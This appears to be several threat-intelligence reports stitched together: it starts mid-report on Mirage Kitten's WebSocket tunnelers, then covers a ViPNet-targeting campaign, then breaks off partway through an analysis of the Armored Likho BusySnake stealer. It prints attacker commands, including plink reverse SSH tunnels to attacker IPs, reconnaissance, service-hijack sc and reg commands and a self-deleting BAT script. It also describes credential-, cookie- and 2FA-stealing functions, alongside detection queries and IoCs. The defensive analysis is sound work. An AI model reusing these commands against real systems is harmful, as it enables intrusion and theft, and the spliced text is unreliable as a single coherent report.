User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 Edg/86.0.622.38

The server responds with HTTP 101 (Switching Protocols) to complete the WebSocket upgrade. After the upgrade, the client sends a binary WebSocket message containing the literal string "token" as authentication. The server must respond within 10 seconds, or the connection is dropped and retried with exponential backoff.

The malware’s next action depends on the HTTP response returned by the server:

HTTP response	Description
407 (Proxy Auth Required)	Queries supported auth schemes via WinHttpQueryAuthSchemes, selects Negotiate (0x10) or NTLM (0x2) in that exact order, sets Windows SSO credentials (null username/password), retries up to 3 times.
101 (Switching Protocols)	Success. Proceeds to WebSocket upgrade and authentication.
Other	Connection failed. Closes all handles, enters backoff.

This implementation closely mirrors the enterprise proxy traversal logic seen in the backdoor we track internally as Retrograde, which overlaps with tooling publicly reported as MiniFast/MiniUpdate, attributed to the same APT group. The implant is designed to operate through corporate proxy environments by handling HTTP 407 responses, negotiating Windows-integrated proxy authentication with Negotiate preferred over NTLM, retrying with the current user’s SSO context, and falling back to exponential C2 connection retry logic capped at 60 seconds.

Once the WebSocket channel is established and authenticated, the implant functions as a full SOCKS5 tunnel proxy. The C2 server initiates all tunnel connections by sending binary commands over the WebSocket; the implant simply forwards traffic between server‑specified targets and the WebSocket channel. This makes it a relay node: the operator runs tools server‑side, and all resulting TCP traffic is tunneled through the victim’s machine as if originating from the victim’s network.

All tunnel communication uses a fixed binary wire format:

Offset	Size	Field	Encoding
0	1	type	Message type (1–9)
1	4	connId	Tunnel connection identifier
5	1	flags	Status or error indicator
6	2	dataLen	Payload length
8	var	payload	Message data

Every message is at least 8 bytes. Seven message types are actively used:

Type	Name	Direction	Description
1	CONNECT	Server -> Client	Open a new TCP tunnel to a SOCKS5 target address
2	CONNECT_RESPONSE	Client -> Server	Confirm the connection was established
3	DATA	Bidirectional	Relay TCP traffic through the tunnel
4	DISCONNECT	Bidirectional	Close a tunnel connection
5	PING	Bidirectional	Keepalive probe, sent every 30 seconds by timer
6	PONG	Bidirectional	Keepalive reply
9	FLOWCTRL	Bidirectional	Throttle data flow to prevent buffer overrun

The CONNECT payload specifies where the implant should open a TCP connection. The target address is encoded in SOCKS5 format and consists of a single type byte, followed by the address and a 2-byte destination port:

Type byte	Description
0x01	IPv4 address (4 bytes)
0x03	Domain name (1-byte length + string)
0x04	IPv6 address (16 bytes)

Notably, in the process of threat hunting, we detected another variant (MD5: C832ECD135781B11F59E3FFFB3D2B6AC) that shares the same dynamic-resolve stub pattern. This variant communicates with businessmixture.com/blog over WSS on port 443, and not through Microsoft Azure. Still, it implements the same technique of limiting execution to a specific username on the infected machine by hardcoding a 3-character control value that must appear as a substring in the lowercased Windows username retrieved via GetUserNameA. If the match fails, the implant silently exits, confirming per-target tailoring of each deployed binary.

ArcBridge: another WebSocket tunneling tool

ArcBridge is another WebSocket tunneling tool developed and used by Mirage Kitten. We first identified it in April 2026 in activity targeting victims in the Middle East. The malware creates a mutex named F56E68DA-4A89-46B4-9AC8-7290A7651000 to enforce single-instance execution. The use of a UUID-like mutex name is consistent with the NightLedger backdoor described earlier.
The malware contains an embedded configuration block that stores the C2 host, C2 port, retry or timeout value, SSL flag, and what is highly likely an implant identifier:

"<<STARTXX>>"
"aecert.org"
443
5000
0
"4B8CC395-A26F-41F1-A1DC-8B993D9D41D2"
"<<ENDXX>>"

After initialization, ArcBridge communicates over a WebSocket-style channel and waits for server-side control messages. It supports the following commands:

Command	Description
OPEN:	Creates a proxy/tunnel session to a target selected by the operator.
DNS:	Performs hostname or address resolution and returns the result.

Victimology

According to our telemetry, we identified victims across Middle East and African countries including Egypt, SMB and government environments in Jordan and Tanzania, aviation organizations in Pakistan, telecommunication companies in Ethiopia and financial-sector entities in Burkina Faso.

Conclusion

Mirage Kitten continues to evolve its malware arsenal to support targeted cyber-espionage operations across the Middle East and Africa regions. The NightLedger backdoor retains similar core command functionality to TWOSTROKE while introducing additional capabilities, including screenshot capture and collection of the NetSetup.log file.

Another notable aspect of the campaign is the group’s continued reliance on tunneling utilities as part of its operational toolkit. This aligns with previous public reporting, which documented the group’s use of the LIGHTRAIL and POLLBLEND tunnelers. Consistent with this tradecraft, we observed Mirage Kitten continuing to leverage tunneling capabilities alongside a gradual shift away from Microsoft Azure subdomain-style infrastructure in favor of Cloudflare-backed domains in some of its malware, a change likely intended to complicate attribution while maintaining resilient command-and-control communications.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

NightLedger backdoor
A239E655709A2518DD0B7BDBED163679 – sspicli.dll

ArcBridge WebSocket tunneling tool
5FA15EF96808EA82F0A6176F0BB4B386
42F847597109DA2A220391BB09D00676
AFB1C1583606599C7272CFB33CC6F498

BridgeHead WebSocket tunneling tool
6038D42AF0AFFD1FB263F470C0956F6B – unbcl.dll
AE628EFA305387B633DCE82F9364875B – unbcl.dll
F7D36CC5904A53252D2BB3D21615134F – libwinpthread-1.dll
C90F0EFADBF322E5EB1C4103A38C30E6 – libwinpthread-1.dll
D09B14A2FE01C7363ECC56F5D046162C – IPHLPAPI.dll

Domains and IPs

smartconnect[.]azurewebsites[.]net
businessmixture[.]com
global-reds[.]com
maadinglobal[.]com
Business-deegital[.]com
business-deegital[.]azurewebsites[.]net
businessdeegital[.]azurewebsites[.]net
neexportfolio[.]azurewebsites[.]net
neexportfolio[.]com
neexportfolio[.]eastus[.]cloudapp[.]azure[.]com
172[.]86[.]98[.]113
aecert[.]org
realhealthshop[.]com
tjconsultingservices[.]com
thehealth-life[.]com
buisness-centeral-transportation[.]com
healthcarezoom-centeral[.]azurewebsites[.]net
healthcarezoomcenteral[.]azurewebsites[.]net
healthcarezoomcenteral[.]org
toadreport[.]azurewebsites[.]net
business-startup[.]azurewebsites[.]net
businessstartup[.]azurewebsites[.]net

UPD 16.07.2026: Added rules to protect companies using our Kaspersky SIEM system, and listed events for developing custom detection rules or conducting threat hunting.

UPD 16.07.2026: Added detection of the malicious activity using Kaspersky Managed Detection and Response.

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.

UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.

UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during the attack were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts at targeted infection of large Russian organizations in the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year, we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector: a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After starting, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and whose command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting inside the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload, which is stored in its body in plain text, in memory.

HelloProxy: a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:

threadid: <Thread ID> pid=<PID>\r\n

After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• Working as a proxy. The malware accepts strings in the following format:
  

  <ip_addr>:<port>

  
  Afterwards, it creates new sockets and starts forwarding traffic between them.
• Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system.
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:

query user
ipconfig /all
ping   8.8.8.8  -n  1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir  "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir  "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\[username]
query  user
dir  C:\Users\Public\music

In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):

C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw [redacted]

HelloBackdoor: a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string hello\n) to activate the backdoor. This backdoor further accepts the following commands:

!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:

@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul 
timeout 5 > nul 
sc start iplircontrol > nul 
(goto) 2>nul & del /F /Q %0

If the command text did not match the above list, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:

GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n

It refers to the news portal sina.com, which is popular in China.

In addition, while analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that this is not the first time ViPNet has been used by advanced threat actor to conduct cyberattacks, we recommend paying special attention to the protection of workstations running this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent this category of incidents. This approach is embedded in the architecture of the Kaspersky Next Expert range of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat with the following verdicts:

• Trojan.Win32.Agentb.ttoe
• Trojan.Win64.Convagent.gen
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor process injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for HelloBackdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string hello\n), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical of ViPNet, lacking an InfoTeCS signature) by the ViPNet update process (Itcsrvup64.exe or Itcsrvup.exe).
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

To protect companies using our Kaspersky SIEM system, the product repository contains rules that help detect such malicious activity.
Reconnaissance of users and groups, as well as network connections using standard Windows utilities, is detected by the following rules:

• R220_02_Collection of user account information using standard Windows tools
• R221_01_Windows group discovery via Windows tools
• R224_02_Remote system discovery via standard Windows tools
• R224_14_Windows reconnaissance activity
• R226_02_Collection of information about network connections using standard Windows tools

Also, when developing your own detection rules or conducting threat hunting, we recommend paying attention to the following events:

• Creation of suspicious files in the ViPNet update directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System:
  

  (DeviceEventClassID = '4663' OR DeviceEventClassID = '11')
  AND match(FileName, '.*\\.(exe|dll)')
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'

• Persistence using the DLL Sideloading technique by loading the wtsapi32.dll library into ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = 7
  AND match(DestinationProcessName, '.*\\\\(itcsrvup64|itcsrvup)\\.exe')
  AND FileName ilike '%wtsapi32.dll'
  AND FileName ilike '%\InfoTeCS\VIPNet Update System\%'
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Launching non-standard processes from the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND match(SourceProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND NOT match(DestinationProcessName, '.*\\\\(wmail|monitor|itcsrvup64)\\.exe')

• Launching the ViPNet update processes Itcsrvup64.exe or Itcsrvup.exe with an invalid signature (Signed not true, SignatureStatus not valid) or a signature that does not contain InfoTeCS vendor details:
  

  DeviceEventClassID = '1'
  AND match(DestinationProcessName, '.*\\\\(Itcsrvup64|Itcsrvup)\\.exe')
  AND ((DeviceCustomNumber1 = 0 AND DeviceCustomNumber2 = 0) OR NOT FlexString2 ilike '%InfoTeCS%')

• Atypical reconnaissance execution from the svchost.exe process:
  

  (DeviceEventClassID = '4688' OR DeviceEventClassID = '1')
  AND SourceProcessName ilike '%svchost.exe'
  AND match(DeviceCustomString4, '.*cmd(.exe)?.*\/c\s+(net\s+(use|group)|sc\s+(query|start|stop)|ping|ipconfig|netstat).*')

• Creation of tunnels using renamed ssh or plink processes:
  

  DeviceEventClassID = '1'
  AND match(OldFileName, '.*(plink|ssh).*')
  AND DeviceCustomString4 match '\d+:\d+\.\d+\.\d+\.\d+:\d+'

For correct functioning of detection rules and threat hunting, it is necessary to ensure that events from Windows systems are received by the Kaspersky SIEM system in full, including events with the following identifiers: Sysmon 1, 7, 11, as well as Security 4688, 4663.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135

Detected TTPs:

T1569.002 — System Services: Service Execution

• "cmd" /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery

• "cmd" /c arp -a
• "cmd" /c routeprint

T1049 — System Network Connections Discovery

• "cmd" /c netstat -ano

T1018 — Remote System Discovery

• "cmd" /c ping mail.ru -n 2

T1082 — System Information Discovery

• "cmd" /c systeminfo

T1057 — Process Discovery

• "cmd" /c tasklist

T1007 — System Service Discovery

• "cmd" /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery

• "cmd" /c dir temp*.tmp
• "cmd" /c dir $temp\*.tmp
• "cmd" /c dir amgmt*
• "cmd" /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
• "cmd" /c dir $public\libraries\
• "cmd" /c dir d:\WindowsImageBackup

T1005 — Data from Local System

• "cmd" /c type $temp\TS_E9E3.tmp
• "cmd" /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging

• "cmd" /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion

• "cmd" /c del $windir\amgmt.dll
• "cmd" /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service

• sc stop AppMgmt
• sc delete AppMgmt
• sc create AppMgmt binpath= "system32\svchost.exe -k netsvcs" type= share start= auto displayname= "Application Management"
• sc description AppMgmt "Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start."
• sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry

• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32\$selfname.dll
• reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)

• "cmd" /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts

• "cmd" /c $windir\amgmt.bat
• "cmd" /c $windir\insru.cmd

T1105 — Ingress Tool Transfer

• "cmd" /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o"$windir

T1562.001 — Impair Defenses: Disable or Modify Tools

• "cmd" /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt

• "cmd" /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH

• c:\users\[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

Introduction

During our routine threat monitoring, we uncovered a new phishing campaign tied to a previously unknown APT group that we dubbed Armored Likho (also known as Eagle Werewolf based on circumstantial evidence). This targeted campaign focuses heavily on government agencies and the electric power sector. The geographical footprint of these attacks spans Russia, Brazil, and Kazakhstan, establishing the group as a global threat actor.

Armored Likho blends financially motivated campaigns targeting private individuals with targeted cyber-espionage aimed at organizations. Their toolkit features obfuscated, modular RATs and infostealers specifically engineered to bypass dynamic analysis. Alongside these, they leverage simpler tools like Go2Tunnel for remote access and network tunneling. This diverse malware stack enables the threat actor to maintain stealthy control of compromised hosts, exfiltrate credentials and other sensitive information, and dynamically deploy downloadable modules tailored to the victim’s profile and the tasks at hand.

Key campaign highlights:

• The group is leveraging a previously undocumented tool dubbed BusySnake Stealer. This Python-based infostealer is designed to target Windows systems. We discovered multiple versions of the malware, along with an additional module dedicated to stealing cookies.
• The first-stage malicious payload, consisting of loaders and stagers, was generated using AI, which blurs the attackers’ TTPs and complicates attribution efforts.

This campaign highlights several concurrent trends: the growing technical maturity of Armored Likho, tool polymorphism, and a shift toward more complex schemes aimed at bypassing security solutions — ranging from Python source code obfuscation to embedding network mechanisms directly into the malware code. In this post, we’ll dissect the campaign that remains active at the time of publication, as well as the toolkit utilized by the attackers.

Initial infection vector

Phishing remains one of the primary initial access vectors that this threat actor heavily relies on in its latest campaigns. Armored Likho uses spear-phishing emails, with themes ranging from official government notices to social programs. In their most recent campaign, the attackers distributed malicious attachments inside archive files with names such as 1bfb2e79-8084-429e-a35c-8b595ab9f839_psihologicheskiy_test.zip (psychological test) or zayavka_gumanitarnayapomosch.rar (humanitarian aid application). These archives contained executables or LNK files named to mimic the email themes, tricking users into executing them on their devices. Below, we break down several variants of how they achieve initial access.

EXE attachment

In one attack variant, the archive contains a dropper named psihologicheskiy_test.exe, which is a self-extracting archive built using the Nullsoft Scriptable Install System (NSIS). When the victim opens the file, a decoy application launches to disarm suspicion by presenting a fake psychological survey. While we have observed similar droppers in the group’s previous campaigns, those earlier versions were written in Rust.

Once executed, the dropper writes a legitimate executable, $temp\nsn5531.tmp\pnx.exe, to disk and launches it. Code is then injected into the pnx.exe process memory to execute a malicious loader. This loader, in turn, fetches several archives hosted in GitHub repositories. Our analysis of these repositories uncovered early development builds and test samples of the malware. Data release in the repository is automated, allowing for rapid rotation of both payloads and the repositories themselves.

The downloaded archives are extracted into the $appdata\WindowsHelper directory. This serves as the malware’s working directory, where all subsequent components of the attack are staged and executed.

The fetched package contains the following components:

• The primary payload: a stealer named module.pyw
• The runtime directory with the components of the PyArmor execution environment
• A Python 3.12 interpreter
• The get-pip.py script: used to install the pip package manager and fetch required dependencies

Once executed, the script installs pip and pulls down the core dependencies required for the payload to run.

With all dependencies in place, the malware creates two VBScript files in the same $appdata\WindowsHelper directory. The first, wh_selfdelete.vbs, is used to wipe the initial pnx.exe loader from the system:

The second script, run.vbs, is designed to execute module.pyw and is used to ensure persistence on the system by creating a scheduled task:

This task ensures that the payload, BusySnake Stealer, is executed every five minutes.

LNK attachment

In alternate campaigns, the archive contains a file named Zayavka_[redacted].lnk. The group leveraged the ZDI-CAN-25373 shortcut vulnerability to conceal the contents of their command line. This flaw allows the attackers to use spaces or line breaks to hide execution parameters.

Consequently, when the user runs the malicious LNK file, it triggers the following obfuscated command:

This, in turn, spawns a PowerShell command that downloads and executes the malicious loader:

Upon execution, the loader downloads and opens a decoy DOCX document. We have observed various decoy themes, ranging from humanitarian aid requests to debt clearance certificates.

Decoy documents

Once the decoy is displayed, the loader initializes the environment variables required to stage the next phase, including URL paths, installation directories, and required library manifests. While we observed variations across different first-stage payload samples, their core functionality remains identical.

Next, the loader fetches a Python 3.12 interpreter (python.zip), the get-pip.py script, and a data.zip archive containing the module.pyw payload. From this point, mirroring the first infection vector, the malware installs its dependencies and establishes persistence through a combination of a VBScript file and a scheduled task.

As shown in the screenshots, the loader’s source code contains verbose comments and bullet-point emojis. This coding style is highly uncharacteristic of human-developed malware. It strongly indicates that the group is leveraging LLMs to generate their malicious payloads.

Ultimately, both infection vectors lead to the execution of the primary payload, which we break down in detail below.

BusySnake Stealer

The primary payload in this campaign is a previously undocumented, Python-based infostealer that we have dubbed BusySnake Stealer.

The stealer’s source code implements multiple evasion techniques designed to thwart detection and complicate static analysis. Specifically, the BusySnake Stealer code is obfuscated and encrypted using PyArmor Pro version 9.2.0. The malware dynamically decrypts its bytecode only at the exact moment a function is called, re-encrypting the data immediately afterward. Additionally, the malware runs in the background without spawning a console window, as indicated by its PYW file extension.

During our analysis, we successfully stripped the protector and disassembled the executable functions. Below, we break down the stealer’s configuration and core functionality.

Before executing its main routines, the malware initializes its configuration file. It contains the C2 server address, directory paths, regular expressions, screenshot intervals, a User-Agent string for network communications, and many more. An example configuration from one of the captured samples is shown below.

The stealer’s architecture relies on handlers, each responsible for specific functions. The table below details the role of each handler.

Handler Name	Description
single_instance_lock	Prevents multiple instances of the stealer from running concurrently on the compromised host.
start_key_clipboard_logger	Steals data from the system clipboard.
start_inventory_background	Enumerates files across the system and logs their metadata into a local database.
extract_hex64_from_file	Attempts to extract 64-character hexadecimal keys from the files.
start_send_documents_priority_background	Forwards user documents to the C2 server.
take_screenshot	Captures screenshots and saves them to the SCREEN_DIR directory.
archive_pngs	Archives captured screenshots and purges previously created archives from the disk.
poll_task	Waits for incoming C2 commands to execute.
ensure_schtask	Checks for the presence of a scheduled task to maintain persistence. If none is found, it drops a VBScript launcher and registers a new scheduled task.

Below, we break down the execution logic of the malware’s core functions.

Upon execution, the malware calls the single_instance_lock function to ensure that only one instance of the stealer is active on the system. To achieve this, the sample utilizes a non-standard lock-file algorithm, rather than traditional methods like creating a mutex or setting a registry value. The function first checks if the file Roaming\WindowsHelper\screenshots\.lock is locked by another process; if it is, the new instance fails to launch. If the file is not locked, the malware reads the Process ID (PID) stored within it. If that process doesn’t exist and the system uptime exceeds the file’s last modification timestamp, the stealer overwrites the lock file and proceeds with execution.

Immediately after initialization, the start_key_clipboard_logger function begins harvesting data from the system clipboard. The malware polls the clipboard contents in an infinite loop, appending any new or updated data to the KEYLOG_FILE using the following format:

[Clipboard] {timestamp} {escaped_clipboard_content}

Additionally, the stealer maps out the local file system using the start_inventory_background function.

This background process first initializes a database at Roaming\WindowsHelper\inventory_state.db. Within this database, the stealer generates a tracking table to log file metadata:

sqlite3.connect(STATE_DB_PATH)
execute CREATE TABLE IF NOT EXISTS scanned_files (path TEXT PRIMARY KEY,mtime REAL,size INTEGER)'

The malware then enumerates files and directories to build an object tree. During this scanning phase, the stealer explicitly skips core system directories, ignores files larger than 16 MB, and filters out files matching a hardcoded exclusion list of extensions.

Discovered files are passed to the extract_hex64_from_file function to scrape for 64-character hexadecimal keys. The malware opens each file in read mode and scans for strings matching the [0-9a-fA-F]{64} regular expression. Any identified keys are logged into the previously created database. The keys themselves are written to a separate file and forwarded to the C2 server. Once the full scan wraps up, a completion message is committed to the log file using the following format:

log(
	f'Інвентаризація завершена за {elapsed:.1f}s. '
	f'Нових: {counters["new"]}, '
	f'Старих: {counters["skipped"]}, '
	f'Знайдено: {counters["found"]}'
)

Next, the start_send_documents_priority_background function kicks off to map out logical drives. The malware identifies the system drive and recursively sweeps the user directories under /Desktop, /Documents, and /Downloads. During this enumeration phase, it filters the paths — checking only directories whose names start with $ and do not contain the string System Volume Information. Directory contents are also filtered based on an ignore list of extensions. The remaining files are then checked: if a file has not been previously sent and its size does not exceed 5 MB, it is transmitted to the C2 server.

The stealer maintains an active connection with the C2 server to await incoming instructions during execution. The poll_task function polls the C2 server in a continuous loop for new commands. Below is an excerpt of a typical request packet:

GET /get_task?client_id=DESKTOP-[redacted] HTTP/1.1\r\n
Host: 159.198.41.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 Edg/143.0.0.0

The C2 sign-in form interface is shown below:

Commands are transmitted from the C2 server as function names, which are detailed in the table below:

Function Name	Description
handle_send_screenshots_command	Captures screenshots at a designated interval, bundles them into an archive, and exfiltrates them to the C2 server.
send_and_clear_keystroke_log	Exfiltrates logged keystroke data to the C2 server and clears the log file afterward.
handle_extract_chromium_passwords	Decrypts stored passwords from Chromium-based browser databases using the DPAPI.
handle_extract_firefox_passwords	Decrypts passwords from Firefox databases by invoking the PK11SDR_Decrypt function.
handle_collect_and_send_cookies	Extracts cookies from browser databases and uploads them to the C2 server.
handle_extract_cookies_v7_command	Extracts cookies by installing an extension into the browser.
handle_search_2fa_secrets_command	Scrapes for OTP keys by continuously monitoring the clipboard and parsing local files; if an otpauth:// string is matched, the key is logged to 2fa_secrets.txt.
handle_search_wallet_jsons_command	Sweeps user directories to locate cryptocurrency wallet files with a JSON extension.
handle_split_and_send_tdata_command	Harvests Telegram session and credential data from the APPDATA/Telegram Desktop/tdata directory; it force-terminates the telegram.exe process, stages the files in a temporary directory, compresses them, and exfiltrates the archive to the C2 server.
handle_start_proxy_command / handle_stop_proxy_command	Establishes a reverse SSH tunnel using an SSH command and private key previously received from the C2 server. The second function terminates the connection and purges the key from the host.
